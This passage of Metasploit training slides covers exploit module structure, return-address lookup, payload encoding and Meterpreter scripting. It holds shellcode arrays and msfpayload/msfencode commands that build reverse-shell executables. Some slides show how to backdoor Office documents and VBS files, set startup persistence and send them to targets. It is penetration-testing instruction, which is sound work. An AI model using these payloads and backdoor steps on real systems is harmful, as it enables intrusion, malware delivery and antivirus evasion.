    Exploits should be useful

    Proof of concepts should be Auxiliary DoS

    Exploit reliability must be high

    Target lists should be inclusive

    View Slide

  90. Exploit Format
    Similar to Auxiliary, but more fields

    A Payload information block

    A listing of available Targets

    Define exploit() & check() vs run()
    Exploits always have Payloads

    No payload makes it an Auxiliary

    Payload details are covered later

    View Slide

  91. class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::Remote::TCP
    def initialize
    super(
    'Name' => 'Simplified Exploit Module',
    'Description' => 'This module sends a payload',
    'Author' => 'My Name Here',
    'Payload' => {'Space' => 1024, 'BadChars' => “\x00”},
    'Targets' => [ ['Automatic', {} ] ],
    'Platform' => 'win',
    )
    register_options( [
    Opt::RPORT(12345)
    ], self.class)
    end
    # Connect to port, send the payload, handle it, disconnect
    def exploit
    connect()
    sock.put(payload.encoded)
    handler()
    disconnect()
    end
    end

    View Slide

  92. Defining Vulnerability Tests
    Define a method called check()

    All non-payloads options are verified

    Perform the vulnerability test

    Return a defined Check value
    Return values for check()

    CheckCode::Safe # not exploitable
    CheckCode::Detected # service detected
    CheckCode::Appears # vuln version
    CheckCode::Vulnerable # confirmed!
    CheckCode::Unsupported

    View Slide

  93. def check
    # connect to get the FTP banner
    connect
    # disconnect since have cached it as self.banner
    disconnect
    case banner
    when /Serv-U FTP Server v4\.1/
    print_status('Found version 4.1.0.3, exploitable')
    return Exploit::CheckCode::Vulnerable
    when /Serv-U FTP Server/
    print_status('Found an unknown version, try it!');
    return Exploit::CheckCode::Detected
    else
    print_status('We could not recognize the server banner')
    return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Safe
    end

    View Slide

  94. Mixins

    View Slide

  95. Exploit Mixins
    A quick diversion into Ruby

    Every Class only has one parent

    A class may include many Modules

    Modules can add new methods

    Modules can overload old methods
    Metasploit modules inherit Msf::Module

    They include mixins to add features

    Mixins can change how they work

    View Slide

  96. class MyParent
    def woof
    puts “woof!”
    end
    end
    class MyClass < MyParent
    end
    object = MyClass.new
    object.woof() => “woof!”
    ================================================================
    module MyMixin
    def woof
    puts “hijacked the woof method!”
    end
    end
    class MyBetterClass < MyClass
    include MyMixin
    end
    MyBetterClass.new.woof() => “hijacked the woof method!”

    View Slide

  97. Mixin Types
    Mixins can add new features

    connect() implemented by the TCP mixin

    connect() overloaded by FTP, SMB, others
    Mixins can change behavior

    The Scanner mixin overloads run()

    Changes run() for run_host(), run_range()

    Calls these in parallel based on THREADS

    The BruteForce mixin is similar

    View Slide

  98. Mixin - Exploit::Remote::Tcp
    Code: lib/msf/core/exploit/tcp.rb
    Provides TCP options and methods

    Defines RHOST, RPORT, ConnectTimeout

    Provides connect(), disconnect()

    Creates self.sock as the global socket

    Offers SSL, Proxies, CPORT, CHOST

    Evasion via small segment sends
    Exposes user options as methods

    rhost() rport() ssl()

    View Slide

  99. Mixin - Exploit::Remote::DCERPC
    Code: lib/msf/core/exploit/dcerpc.rb
    Inherits from the TCP mixin
    DCERPC methods and options

    dcerpc_handle()

    dcerpc_bind()

    dcerpc_call()
    Supports IPS evasion methods

    Multi-context BIND requests

    Fragmented DCERPC calls

    View Slide

  100. Mixin - Exploit::Remote::SMB
    Code: lib/msf/core/exploit/smb.rb
    Inherits from the TCP mixin
    SMB methods and options

    smb_login(), smb_create(), smb_peer_os()

    Options: SMBUser, SMBPass, SMBDomain
    Exposes IPS evasion methods

    SMB::pipe_evasion, SMB::pad_data_level

    SMB::file_data_level and more

    View Slide

  101. Mixin - Exploit::Remote::BruteTargets
    lib/msf/core/exploit/brutetargets.rb
    Overloads the exploit() method

    Calls exploit_target(target) for each Target

    Handy for easy target iteration
    lib/msf/core/exploit/brute.rb
    Overloads the exploit() method

    Calls brute_exploit() for each stepping

    Easily brute force an address range

    View Slide

  102. Many, many, more mixins
    Capture – sniff network packets
    Lorcon – send raw WiFi frames
    MSSQL – talk to Microsoft SQL servers
    KernelMode – exploit kernel bugs
    SEH – structured exception handling
    NDMP – the network backup protocol
    EggHunter – memory search
    FTP – talk to FTP servers
    FTPServer – create FTP servers

    View Slide

  103. Exploit Targets

    View Slide

  104. Exploit Targets
    Exploits define a list of targets
    Target has a name, number, options
    Targets are specified by number
    'Targets' =>
    [
    # Windows 2000 – TARGET = 0
    [
    'Windows 2000 English',
    {
    'Rets' => [ 0x773242e0 ],
    },
    ],
    # Windows XP - TARGET = 1
    [
    'Windows XP English',
    {
    'Rets' => [ 0x7449bf1a ],
    },
    ],
    ],

    View Slide

  105. Target Options Block
    The options block is nearly free-form
    Special option names

    'Ret' is shortcutted as target.ret()

    'Payload' overloads the exploit's info block
    Options are used to store target data

    Windows 2000 needs this return address

    Windows XP needs 500 bytes of padding

    Windows Vista NX bypass address

    View Slide

  106. Acessing Target Information
    The 'target' object inside the exploit
    This is the user's selected target
    Accessed in the exploit as a hash

    target['padcount']

    target['Rets'][0]

    target['Payload']['BadChars']

    target['opnum']

    View Slide

  107. Fixing Exploit Targets
    Sometimes you need new targets

    Language packs change addresses

    Different version of the software

    Addresses shifted due to hooks
    To find a new return address

    Determine the type of return address

    Obtain a copy of the target binaries

    Use msfpescan to locate a return

    View Slide

  108. Return Address Types
    Return addresses depend on exploit

    Stack smashes use “jmp esp”

    SEH overwrites use “pop/pop/ret”

    Sometimes need “jmp ” returns
    Determining the type of return

    Look for a comment in the exploit code

    Examine the target binary for the old return

    View Slide

  109. 'Windows 2000 SP0-SP4',
    {
    'Ret' => 0x767a38f6, # umpnpmgr.dll
    }
    #
    # Find a copy of umpnpmgr.dll from Windows 2000 SP4
    #
    $ msfpescan -D -a 0x767a38f6 win2000sp4.umpnpmgr.dll
    [win200sp4.umpnpmgr.dll]
    0x767a38f6 5f5ec3558bec6aff68003c7a7668e427
    00000000 5F pop edi
    00000001 5E pop esi
    00000002 C3 ret
    00000003 55 push ebp
    00000004 8BEC mov ebp,esp
    00000006 6AFF push byte -0x1
    00000008 68003C7A76 push 0x767a3c00
    0000000D 68 db 0x68
    0000000E E427 in al,0x27
    # We need a pop/pop/ret return address

    View Slide

  110. #
    # Find a copy of umpnpmgr.dll from our target OS / SP / Language
    #
    $ msfpescan -p targetos.umpnpmgr.dll
    [targetos.umpnpmgr.dll]
    0x79001567 pop eax; pop esi; ret
    0x79011e0b pop eax; pop esi; retn 0x0008
    0x79012749 pop esi; pop ebp; retn 0x0010
    0x7901285c pop edi; pop esi; retn 0x0004
    #
    # Add a target to our exploit with the new address
    #
    'Windows 2000 SP0-SP4 Russian Language',
    {
    'Ret' => 0x7901285c, # umpnpmgr.dll russian 2000 sp4
    }

    View Slide

  111. LAB: Find a “jmp esp” instruction
    Find the address of a “jmp esp”

    Look inside kernel32.dll
     $ wget http://192.168.1.2/shared/kernel32.dll

    Scan with msfpescan -j esp kernel32.dll

    Look for pop/pop/ret

    Look for call [eax+0x6A] (hint: tools/nasm_shell.rb)

    Examine msfpescan -i kernel32.dll

    Find unicode-safe pop/pop/ret addresses
     Hint: -F allows filtering by regex

    View Slide

  112. $ msfpescan -j esp kernel32.dll
    $ msfpescan -p kernel32.dll
    $ tools/nasm_shell.rb
    nasm> call [eax+0x6a]
    00000000 FF506A call dword near [eax+0x6a]
    $ msfpescan -p kernel32.dll -F '.\x00.\x00'

    View Slide

  113. Exploit Types

    View Slide

  114. Exploit Types
    All exploits fall into two categories

    Active – exploit a specific host and exit

    Passive – wait for incoming hosts and exploit
    Active exploits run until completion

    Brute force modules exit when a shell opens

    Module execution stops in the case of an error

    Force an active module to background:
     exploit -j

    View Slide

  115. Passive Exploits
    These focus almost always on clients

    Web browser, sniffer responses, etc

    Also used for email exploits to wait for shells
    Passive exploits report shells as they happen

    Use sessions -l to enumeration shells

    Use sessions -i to interact with a shell

    View Slide

  116. # Active Exploit Example
    $ msfconsole
    msf> use exploit/windows/smb/psexec
    msf exploit(psexec) > set RHOST 192.168.1.3
    msf exploit(psexec) > set PAYLOAD
    windows/shell/reverse_tcp
    msf exploit(psexec) > set LHOST
    msf exploit(psexec) > set LPORT 12345
    msf exploit(psexec) > set SMBUser Administrator
    msf exploit(psexec) > set SMBPass admin123
    msf exploit(psexec) > exploit

    View Slide

  117. # Passive Exploit Example
    $ msfconsole
    msf> use exploit/windows/browser/ie_createobject
    msf exploit(ie_createobject) > (continued)
    set PAYLOAD windows/shell/reverse_tcp
    msf exploit(ie_createobject) > set LHOST
    msf exploit(ie_createobject) > set LPORT 4444
    msf exploit(ie_createobject) > set URIPATH /boom
    msf exploit(ie_createobject) > exploit
    [*] Exploit running as background job.
    msf exploit(ie_createobject) >
    [*] Handler binding to LHOST 0.0.0.0
    [*] Started reverse handler
    [*] Using URL: http://0.0.0.0:8080/boom
    [*] Local IP: http://192.168.1.XXX:8080/boom
    [*] Server started.

    View Slide

  118. Exploit Payloads

    View Slide

  119. Payload Compatibility
    Matching payloads to an exploit

    Look for compatible architecture and OS

    Look at the 'PayloadCompat' & 'Compat' blocks

    Look at the 'privileged' flag

    Look at the payload size
    Exploits indicate compatibility

    Tag 'findsock' enables findsock payloads

    Other tags for specific cases
     'RequiredCmds' => 'netcat-e perl ruby bash'

    View Slide

  120. Payload Generation
    Select an encoder

    Must not touch certain registers

    Must be under the max size

    Must avoid BadChars

    Encoders are ranked
    Select a nop generator

    Tries most random first

    Nops are also ranked

    View Slide

  121. Encoding Example
    The Payload is 300 bytes long
    The Encoder stub adds another 40
    The Payload Space is 900
    The Nops fill in the 560 remaining
    Final payload.encoded is 900 bytes

    Avoid this with: 'DisableNops' => true

    View Slide

  122. Payload Block Options
    Exploits can tweak the payload

    'StackAdjustment' prefixes “sub esp” code

    'MinNops', 'MaxNops', 'DisableNops'

    'Prefix' places data before the payload

    'PrefixEncoder' places it before the stub
    These options can go into Targets

    Allows different BadChars for targets

    Allows Targets to hit different Arch and OS

    View Slide

  123. Payloads

    View Slide

  124. Payload Module Types
    Three different kinds of modules

    Singles – completely standalone

    Stagers – setup a network connection

    Stages – downloaded by stagers
    Allows for different scenarios

    Stagers for large advanced stages

    Singles for non-networked targets

    View Slide

  125. Payload Stagers
    Designed to be small and reliable

    Difficult to always do both well

    Result is multiple similar stages

    Use the best one when we can

    Fall back when we can't
    Windows NX vs NO-NX stagers

    Reliability issue for NX CPUs and DEP

    NX stagers are bigger (VirtualAlloc)

    Default is now NX + Win7 compatible

    View Slide

  126. Payload Stages
    Advanced features with no size limits

    Meterpreter

    VNC Injection

    iPhone 'ipwn' Shell
    Automatically uses 'middle stagers'

    A single recv() fails with large payloads

    Stager receives the middle stager

    Middle stages performs a full download

    Also better for RWX

    View Slide

  127. Payload Creation
    Runtime creation of Payloads

    Combination of stagers + stages

    Staging is represented by / in the name
    windows/shell_bind_tcp

    This is a single payload, no stage
    windows/shell/bind_tcp

    bind_tcp is the stager, shell is the stage

    View Slide

  128. msfpayload
    Dump payloads on the command line

    Useful for testing shellcode
    $ msfpayload windows/shell_bind_tcp LPORT=12345 C
    /*
    * windows/shell_bind_tcp - 317 bytes
    * http://www.metasploit.com
    * EXITFUNC=seh, LPORT=12345
    */
    unsigned char buf[] =
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b"
    "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01"
    "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07"
    "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f"
    "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b"
    "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c"
    "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff"
    "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0"
    "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08"
    "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53"
    "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x30\x39\x66"
    "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51"
    [...]

    View Slide

  129. Creating Executables
    Use msfpayload to create binaries
    Specify the “X” action and redirect
    $ msfpayload windows/shell_bind_tcp LPORT=12345 X > test.exe
    Created by msfpayload (http://www.metasploit.com).
    Payload: windows/shell_bind_tcp
    Length: 317
    Options: LPORT=12345
    $ file test.exe
    test.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386
    $ wc -c test.exe
    9728 test.exe
    $ md5sum test.exe
    2a330113967492b80bff5bb881ec2c14 test.exe

    View Slide

  130. Creating Encoded Executables
    Run msfpayload with the “R” action
    Pipe this into msfencode -t 'exe'
    $ msfpayload windows/shell_bind_tcp LPORT=12345 R | \
    msfencode -t exe -o test.exe -b “\x00”
    [*] x86/shikata_ga_nai succeeded, final size 345
    $ file test.exe
    test.exe: MS-DOS executable PE for MS Windows (GUI) Intel 80386
    $ wc -c test.exe
    9728 test.exe
    $ md5sum test.exe
    824335c8959a558e8fc693ca050b917f test.exe

    View Slide

  131. Multiple Encoded Executables
    Pass the -c option to specify the count
    Pipe msfencode to itself for different types
    $ msfpayload windows/shell_bind_tcp LPORT=12345 R | \
    msfencode -t raw -c 3 | \
    msfencode -t raw -c 3 | \
    msfencode -t raw -c 3 | \
    msfencode -t exe -o test.exe
    [*] x86/shikata_ga_nai succeeded with size 345 (iteration=1)
    [*] x86/shikata_ga_nai succeeded with size 372 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 399 (iteration=3)
    [*] x86/shikata_ga_nai succeeded with size 426 (iteration=1)
    [*] x86/shikata_ga_nai succeeded with size 453 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 480 (iteration=3)
    [*] x86/shikata_ga_nai succeeded with size 507 (iteration=1)
    [*] x86/shikata_ga_nai succeeded with size 534 (iteration=2)
    [*] x86/shikata_ga_nai succeeded with size 561 (iteration=3)
    [*] x86/shikata_ga_nai succeeded with size 588 (iteration=1)...

    View Slide

  132. Payload Executable Testing
    The multi/handler exploit module

    An exploit that accepts any payload

    Does nothing but “handle” the payload

    Useful for social engineering tests
    Ex: windows/shell/bind_tcp

    Repeatedly connect to RHOST:RPORT

    Upload the payload stage on connect

    Interact with the uploaded stage (shell)

    View Slide

  133. Creating a Meterpreter Backdoor
    Generate an executable with msfpayload

    Choose between reverse and bind stagers

    Specify the connect back host and port
    Configure exploit/multi/handler in msfconsole
    Force the payload to execute on login/boot

    Place into the Start Menu: Startup folder

    Autorun via registry, logon script, etc

    View Slide

  134. Creating a Meterpreter Backdoor
    $ msfpayload windows/meterpreter_reverse_tcp \
    LHOST=192.168.0.2 LPORT=12345 R | \
    msfencode -c 5 -t exe -o backdoor.exe
    $ msfconsole
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.0.2
    msf exploit(handler) > set LPORT 12345
    msf exploit(handler) > set ExitOnSession false
    msf exploit(handler) > exploit -j
    [ .. wait for session .. ]
    msf exploit(handler) > sessions -i 1
    meterpreter >

    View Slide

  135. Backdooring Office Documents
    $ msfpayload windows/meterpreter/reverse_tcp \
    LHOST=192.168.0.2 LPORT=12345 R | \
    msfencode -c 5 -t vba -o backdoor.vba
    [ Copy this VBA into a new macro within a Word or Excel doc ]
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.0.2
    msf exploit(handler) > set LPORT 12345
    msf exploit(handler) > set ExitOnSession false
    msf exploit(handler) > exploit -j
    [ Send the document to your target(s) ]
    msf exploit(handler) > sessions -i 1
    meterpreter >
    [ CLI ./tools/exe2vba.rb test.exe output.vba ]

    View Slide

  136. Binary Payloads in VBS
    $ msfpayload windows/meterpreter/reverse_tcp \
    LHOST=192.168.0.2 LPORT=12345 R | \
    msfencode -c 5 -t vbs -o backdoor.vbs
    [ Copy this to your target system ]
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter_reverse_tcp
    msf exploit(handler) > set LHOST 192.168.0.2
    msf exploit(handler) > set LPORT 12345
    msf exploit(handler) > set ExitOnSession false
    msf exploit(handler) > exploit -j
    [ Force the VBS script to execute ]
    msf exploit(handler) > sessions -i 1
    meterpreter >
    [ CLI ./tools/exe2vbs.rb test.exe output.vbs ]

    View Slide

  137. Creating a Payload (single)
    Payload requirements

    What options need to be patched in?

    What type of handler does it require?

    What target requirements does it have?
    Singles: modules/payload/singles/

    Naming is _

    shell_bind_tcp, useradd, or exec

    View Slide

  138. module Metasploit3
    include Msf::Payload::Windows
    include Msf::Payload::Single
    def initialize(info = {})
    super(merge_info(info,
    'Name' => 'Windows Command Shell, Bind TCP Inline',
    'Version' => '$Revision: 5709 $',
    'Description' => 'Listen for a connection and spawn a shell',
    'Author' => 'vlad902',
    'License' => MSF_LICENSE,
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'Handler' => Msf::Handler::BindTcp,
    'Session' => Msf::Sessions::CommandShell,
    'Payload' => {
    'Offsets' =>
    {
    'LPORT' => [ 162, 'n' ],
    'EXITFUNC' => [ 308, 'V' ],
    },
    'Payload' =>
    "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c" +
    "\x24\x24\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" +
    "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01" +
    [................................................]

    View Slide

  139. Windows Payloads - EXITFUNC
    EXITFUNC defines the cleanup function

    thread – call ExitThread()

    process – call ExitProcess()

    seh – call *0x00000000
    Exploit usually overrides this per app

    Multiple exploitation (ex: ms03_026_dcom)

    Force the service to restart (seh)

    View Slide

  140. Creating a Payload (stager)
    Stagers: modules/payload/stagers/

    Naming is just the

    bind_tcp, reverse_tcp, findsock, etc
    Stagers require a 'Convention'

    Determines the API for stages

    Common ones are 'sockedi' and 'sockesi'

    Indicate the register with the socket

    View Slide

  141. module Metasploit3
    include Msf::Payload::Stager
    include Msf::Payload::Windows
    def initialize(info = {})
    super(merge_info(info,
    'Name' => 'Bind TCP Stager',
    'Version' => '$Revision$',
    'Description' => 'Listen for a connection',
    'Author' => ['hdm', 'skape'],
    'License' => MSF_LICENSE,
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'Handler' => Msf::Handler::BindTcp,
    'Convention' => 'sockedi',
    'Stager' =>
    {
    'Offsets' =>
    {
    'LPORT' => [ 245, 'n' ],
    },
    'Payload' =>
    "\xfc"+
    "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
    "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
    "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
    [................................................................]

    View Slide

  142. Creating a Payload (stage)
    Stagers: modules/payload/stages/

    Naming is just the

    shell, meterpreter, exec, vncinject
    Match up with the Stager 'Convention'
    May involve an intermediate stage

    Increases reliability for laggy networks

    Avoids segmentation issues

    View Slide

  143. module Metasploit3
    include Msf::Payload::Windows
    def initialize(info = {})
    super(merge_info(info,
    'Name' => 'Windows Command Shell',
    'Version' => '$Revision: 5709 $',
    'Description' => 'Spawn a piped command shell',
    'Author' => 'spoonm',
    'License' => MSF_LICENSE,
    'Platform' => 'win',
    'Arch' => ARCH_X86,
    'Session' => Msf::Sessions::CommandShell,
    'PayloadCompat' =>
    {
    'Convention' => 'sockedi'
    },
    'Stage' =>
    {
    'Offsets' =>
    {
    'EXITFUNC' => [ 443, 'V' ]
    },
    'Payload' =>
    "\x68\x33\x32\x00\x00\x68\x57\x53\x32\x5f\x57\xfc\xe8\x4c\x00\x00"+
    "\x00\x60\x8b\x6c\x24\x28\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b"+
    [................................................................]

    View Slide

  144. DLL Injection Payloads
    DLL Injection is a type of stage

    Meterpreter extends the injection class

    VNCInjection works the same way

    Non-standard session types

    Meterpreter has its own session class

    VNCInject uses a TCP relay session

    set DisableCourtesyShell true

    View Slide

  145. module Metasploit3
    include Msf::Payload::Windows::DllInject
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Windows Meterpreter',
    'Version' => '$Revision: 5709 $',
    'Description' => 'Inject the meterpreter server DLL',
    'Author' => 'skape',
    'License' => MSF_LICENSE,
    'Session' => Msf::Sessions::Meterpreter))
    ========================================================================
    include Msf::Payload::Windows::DllInject
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Windows VNC Inject',
    'Version' => '$Revision: 5709 $',
    'Description' => 'Inject the VNC server DLL and run it',
    'Author' => [ 'skape', 'jt ' ],
    'License' => MSF_LICENSE,
    'Session' => Msf::Sessions::VncInject)

    View Slide

  146. LAB: Create a VNC injection EXE
    Use msfpayload to create an EXE around vncinject

    Pipe this to msfencode to encode it

    Encode this 6 times

    Encode this 6 times with 6 encoders

    Configure msfconsole to handle this EXE

    View Slide

  147. $ msfpayload windows/vncinject/reverse_tcp \
    LHOST=192.168.0.2 LPORT=4444 X > vncinject.exe
    $ msfpayload windows/vncinject/reverse_tcp \
    LHOST=192.168.0.2 LPORT=4444 R | \
    msfencode -c 6 -t exe -o vncinject.exe
    $ msfpayload windows/vncinject/reverse_tcp \
    LHOST=192.168.0.2 LPORT=4444 R | \
    msfencode -t raw -e x86/shikata_ga_nai | \
    msfencode -t raw -e x86/jmp_call_additive | \
    msfencode -t raw -e x86/fnstenv_mov | \
    msfencode -t raw -e x86/call4_dword_xor | \
    msfencode -t raw -e x86/shikata_ga_nai | \
    msfencode -t exe -e x86/jmp_call_additive -o vncinject.exe

    View Slide

  148. METASM Payloads
    METASM is a Ruby assembler

    Generates code from ASM and C

    Processes both X86 and MIPS

    Much more at http://metasm.cr0.org/
    Standard payload classes

    Source code is in C or plain ASM

    Nifty way to patch variables

    No C examples in Metasploit (yet)

    View Slide

  149. #
    # Example of a METASM runtime-compiled payload
    #
    'Offsets' =>
    {
    'LHOST' => [ 0, 'ADDR' ],
    'LPORT' => [ 0, 'n' ],
    },
    'Assembly' => <xor ebx, ebx ; @00000000 31db
    push ebx ; @00000002 53
    inc ebx ; @00000003 43
    push ebx ; @00000004 53
    push 2 ; @00000005 6a02
    push 66h ; @00000007 6a66
    pop eax ; @00000009 58
    mov ecx, esp ; @0000000a 89e1
    int 80h ; @0000000c cd80
    ; Xrefs: 00000015
    pop ebx ; @00000017 5b
    pop edx ; @00000018 5a
    push LHOST ; @00000019 687f000001
    push.i16 LPORT ; @0000001e 6668bfbf
    inc ebx ; @00000022 43
    [....]
    EOS

    View Slide

  150. Plugins

    View Slide

  151. Metasploit Plugins
    Plugins provide three core features

    Define new console commands

    Modify framework internals

    Handle system events
    Example plugins

    Metasploit Console Daemon - msfd

    Tagger - run scripts on each new shell

    IPS Filter - socket interception

    Pcap Log – convenient pcap packet logger

    View Slide

  152. Metasploit Plugins
    Plugin API

    Full access to the framework instance

    Interact with sessions and run modules

    Access the framework database
    Why write a new plugin?

    Automate exploitation tasks

    Log all socket operations

    Integrate with other tools

    View Slide

  153. Event System
    Actions trigger various events

    General events (started, stopped)

    Exploit events (launched, completed)

    Session events (opened, closed)

    Database events (new host, new service)
    Event handler subscribe to events

    Called each time event fires

    framework.events.add_session_subscriber(object)

    View Slide

  154. Plugin Summary
    Plugins and penetration tests

    Call out to other applications

    Automate command execution

    Log all events to create a report
    Labs just scratched the surface

    Look at the examples in plugins/

    Meterpreter automation...

    View Slide

  155. Meterpreter
    Overview

    View Slide

  156. Meterpreter
    Advanced dynamically extensible payload

    Uses in-memory DLL injection stagers

    Extended at runtime over the network

    Communicates over stager socket

    Coprehensive client-side Ruby API
    Development history

    Written by skape for Metasploit 2.x

    Common extensions merged for 3.x

    Undergoing an overhaul for 3.3

    View Slide

  157. How Meterpreter Used to Work
    The target executes the initial stager

    Usually one of bind, reverse, findtag, passivex, etc
    The stager loads the middle stage

    Provides a reliable transfer mechanism
    The middle stage loads the DLL injector*

    Patches the Windows API for in-memory DLL injection
    The DLL injector loads the Meterpreter core

    A standard Windows DLL exporting: Init(int sock, int flags)
    The Meterpreter loads extensions

    Always loads stdapi, sometimes loads priv

    View Slide

  158. How Meterpreter Works Now
    The target executes the initial stager

    Usually one of bind, reverse, findtag, passivex, etc
    The stager loads the DLL prefixed with Reflective

    Reflective stub handles the loading/injection of the DLL
    The Meterpreter core initializes

    Establishes a TLS/1.0 link over the socket, sends a GET

    Metasploit receives the GET and configures the client
    The Meterpreter loads extensions

    Always loads stdapi, loads priv if the module gives admin

    All of these are loaded over TLS/1.0 using a TLV protocol

    View Slide

  159. Meterpreter Design Goals
    Stealthy

    No disk access, no new processes, encrypted comms

    Limited forensic evidence and impact
    Powerful

    Channelized communication system

    TLV protocol has few limitations
    Extensible

    Runtime feature augmentation

    New features without rebuilding

    View Slide

  160. Meterpreter Core
    The server is implemented in plain C

    Compiled with MSVC now, somewhat portable

    All communications are now over TLS/1.0

    Implements a basic TLV-based packet protocol

    Exposes channel allocation and mgmt interface

    Supports migration to another running process

    Supports loading new extensions over the network
    The client can be written in any language

    Metasploit has a full-feature Ruby client API

    View Slide

  161. Adding Runtime Features
    New features added by loading extensions

    The client uploads the DLL over the socket

    The server loads the DLL in-memory and initializes

    The extension registers itself with the server

    The client loads the local extension API
    The client can now call the extensions functions

    This process is seamless and takes ~1 second

    View Slide

  162. Basic Extensions
    Stdapi

    Provides “unix-like” tools for the Windows platform

    Manipulate file system, registry, network, processes...

    Automatically loaded when Meterpreter starts
    Priv

    Provides in-memory pwdump alternative

    Includes timestomp for anti-forensics work
    Incognito

    Utilities for finding and hijacking security tokens

    View Slide

  163. Digging Deeper
    The Meterpreter prompt

    Registers new commands as extensions are loaded

    Provides a powerful shell for penetration testing

    Features: history, tab completion, channels
    The Meterpreter Ruby API

    The user commands only scratch the surface

    The real power of Meterpeter is the client API

    Equivalent to remote, in-memory scripting

    View Slide

  164. Scripting Meterpreter
    From the msfconsole prompt

    Enter irb to drop into Ruby at any time

    The session object is the Meterpreter client
     msf > irb
     irb > client = framework.sessions[1]
    From the meterpreter prompt

    Enter irb to drop into Ruby at any time

    The client variable is the Meterpreter session
     meterpreter > irb
     irb > client

    View Slide

  165. Scripting Meterpreter
    Run existing scripts from the meterpreter prompt

    Execute the run command to launch a script

    Pass arguments to each script via parameters
     meterpreter > run myscript arg1 arg2...
    Script location: msf3/scripts/meterpreter

    Many useful and reference scripts available

    View Slide

  166. Meterpreter API: Core
    Part of the main Meterpreter payload

    Accessed via API as client.core.*
    client.core.use( name )

    Loads a new Meterpreter extension by name

    Handles both the client and server side
    client.core.migrate( pid )

    Moves Meterpreter into another process

    Keeps the existing socket open

    Unloads all extensions but stdapi

    View Slide

  167. Meterpreter API: Stdapi
    The standard set of Meterpreter features

    Broken down into sub-groups by function
    Stdapi feature highlights

    Enumerate the filesystem and read/write files

    List interfaces and pivot network connections

    Read, write, and browse the registry

    Manage processes and threads

    Execute commands

    Monitor user activity

    View Slide

  168. The Stdapi Interface
    Stdapi is split into four sub-groups
    client.fs.*

    Manipulate the file system, upload, download
    client.sys.*

    Interact with processes, registry, etc
    client.net.*

    View network settings, pivot, make connections
    client.ui.*

    Disable keyboard/mouse, check user idle time

    View Slide

  169. File System Interaction: dir
    Accessed through client.fs.dir.method

    List, download, upload, and delete files
    Method Description
    entries(path)‏ Enumerates directory contents
    chdir(path)‏ Change directories to path
    mkdir(path)‏ Make a directory
    getwd Get the current working directory
    delete(path)‏ Remove a directory
    download(dst, src, recursive)‏ Download a directory’s contents to local
    upload(dst, src, recursive)‏ Upload a directory to remote

    View Slide

  170. File System Interaction: dir
    meterpreter > irb
    >> client.fs.dir.chdir("c:\\windows\\system")
    => 0
    >> client.fs.dir.getwd
    => "c:\\windows\\system"
    >> client.fs.dir.entries
    [".", "..", "AVICAP.DLL", "AVIFILE.DLL", "COMMDLG.DLL",
    "KEYBOARD.DRV", "LZEXPAND.DLL“ ]

    View Slide

  171. File System Interaction: file
    Accessed through client.fs.file.method

    One-step recursive uploads and downloads
    Method Description
    expand_path(path) Expands the environment strings in a path
    stat(path) Tests if a file exists and returns info about it
    upload(dest, files) Uploads one or more files to the remote directory
    download(dest, files) Downloads one or more files to the local directory

    View Slide

  172. File Interaction: file
    Interact with a remote file just like a local one

    client.fs.file.new( path )
    Method Description
    seek(offset, whence) Seeks to an offset within the file
    read(length) Reads length bytes from the file
    write(buffer) Writes the buffer to the file
    close Closes the file

    View Slide

  173. Reading a Remote File
    meterpreter > irb
    >> fd = client.fs.file.new("c:\\boot.ini", "r")

    >> puts fd.read
    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP
    Professional" /fastdetect
    => nil
    >> fd.close
    => true

    View Slide

  174. Network Interaction: config
    Accessed as client.net.config.method

    Enumerate network interfaces and routes

    Useful for finding new targets and island-hopping
    Method Description
    each_interface Enumerates the server’s network interfaces
    get_interfaces Returns an array of the server’s network interfaces
    each_route Enumerates the server’s routing table
    get_routes Returns an array of the server’s routing table
    add_route(s, n, g) Adds a route
    remove_route(s, n, g) Removes a route

    View Slide

  175. Listing Remote Interfaces
    meterpreter > irb
